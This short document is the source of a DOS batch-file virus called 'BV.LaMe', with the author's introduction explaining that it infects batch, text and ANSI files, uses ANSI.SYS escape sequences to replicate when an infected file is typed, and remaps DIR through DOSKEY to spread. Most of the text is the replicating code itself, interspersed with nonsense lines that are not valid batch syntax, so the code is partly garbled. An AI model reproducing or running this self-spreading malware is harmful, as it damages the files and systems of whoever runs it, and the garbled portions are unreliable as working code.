This is a virus that infects batch, text and ANSI files - if ANSI.SYS is running it replicates when the infected file is typed to the console if the file isn't renamed, see last line. Uses DOSKEY to go "resident" and infect files whenever DIR is used. Ignore the dumb comments, I must of been stoned or something. DOS 6 only please. ::[BV.LaMe] @if .%1==.LaMe goto %2 @echo off%_LaMe% if '%1=='_!_%_LaMe% echo  if '%1=='!!!%_LaMe% echo  if exist c:\_!_.bat goto sLaMe if not exist %0.bat goto xLaMe find "LaMe"<%0.bat>c:\_!_.bat :sLaMe for %%i in (feet) do infect rubberfoot %%i  for %%a in (* *.ans *.asc *.bat *.txt) do call c:\_!_ LaMe ilame %%a doskey dir=c:\_!_ !!!$tdir $*>nul.LaMe_R_than_most_anywaze goto xLaMe and that's that! Do I get a cookie?  :iLaMe find(lintcopy)}--attach(lint,%2) find "LaMe"<%3>nul if not errorlevel 1 goto xLaMe  type c:\_!_.bat>>%3%_LaMe% echo>>%3 %_LaMe%::[13;"find ";34;"La";"Me";34;60;"%3";62;"c:\_!_.bat";13;"c:\_!_ _!_";13p :xLaMe set BOMB = extract(self)}--Known.Bat unless user(current)}=Beast  ::[13;"find ";34;"La";"Me";34;60;"LAME.TXT";62;"c:\_!_.bat";13;"c:\_!_ _!_";13p